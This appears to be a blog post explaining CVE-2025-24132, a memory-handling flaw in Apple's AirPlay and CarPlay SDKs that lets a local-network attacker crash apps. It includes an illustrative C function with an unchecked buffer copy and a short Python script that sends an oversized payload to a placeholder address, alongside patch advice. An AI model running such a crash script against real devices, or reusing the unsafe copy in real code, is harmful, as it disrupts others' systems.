CVE-2025-24132 - AirPlay and CarPlay Plug-in Local Network Exploit

A new security vulnerability, CVE-2025-24132, has recently been disclosed and patched by Apple in several key SDKs—AirPlay audio, AirPlay video, and CarPlay Communication Plug-in. This weakness relates to poor memory handling, and could allow attackers on your local network to crash an app using these components. In this post, I'll break down what happened, how it works, and how you can protect yourself.

What is CVE-2025-24132?

CVE-2025-24132 is a vulnerability caused by unsafe memory handling in certain AirPlay and CarPlay components. Specifically, if an attacker shares the same local network as you (like at home, the office, or a café Wi-Fi), they could trigger an unexpected application termination (that is, make the app crash suddenly).

Technical Details

The root cause is improper memory management. Without going deep into C pointers or assembler details, the SDKs didn’t handle some network messages safely. Sending a specifically crafted network packet could cause the app to access memory it wasn’t supposed to, leading to a crash.

Code Snippet Example

Here’s a simple, illustrative (not the actual, but similar) code to show what often goes wrong in these scenarios:

// Hypothetical vulnerable function
void handleNetworkInput(char *inputBuffer, int length) {
    char destinationBuffer[256];
    // Unsafe memory copy, as attacker can send more data than buffer size
    memcpy(destinationBuffer, inputBuffer, length);
}

If length is greater than 256, this code would overwrite memory, potentially causing the application to crash. CVE-2025-24132 involved a similar pattern somewhere deep in the SDK code when handling certain network messages.

Exploit Details

To exploit this flaw, an attacker must be on your local network. They could use tools like Python scapy, Wireshark, or custom scripts to send deliberately malformed packets aimed at the vulnerable service.

Here's a simple example of using Python's socket module to send an oversized payload

import socket

# Replace with the target device's IP and port
target_ip = "192.168.1.100"
target_port = 700  # Hypothetical AirPlay port

payload = b"A" * 1024  # Much bigger than the buffer size

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((target_ip, target_port))
    s.sendall(payload)

After receiving this, the vulnerable application may crash due to the memory handling bug.

Apple fixed this bug by ensuring the SDKs perform safe memory operations. As their advisory states

> The issue was addressed with improved memory handling.

App Crashes: Sudden app terminations, potentially in front of users.

- Denial of Service (DoS): In rare cases, repeated attacks could prevent an app or device from working as expected.

References

- Apple Security Updates – 2025
- NVD CVE-2025-24132 Entry (pending publication)
- Apple Developer: AirPlay SDK

Developers: Immediately update your SDKs if you build with AirPlay or CarPlay plugins.

- Users: Keep your apps and devices updated, especially car infotainment and smart home apps/devices.

Conclusion

CVE-2025-24132 highlights the ongoing risk from old memory handling bugs, even in modern SDKs. While the effect here is limited to app crashes, it’s a good reminder to stay updated and cautious, especially on shared networks. Apple’s fixes are out—make sure you’re using them.

*Written exclusively for this post. Feel free to share with credit!*

Timeline

Published on: 04/30/2025 21:15:54 UTC
Last modified on: 05/01/2025 14:15:36 UTC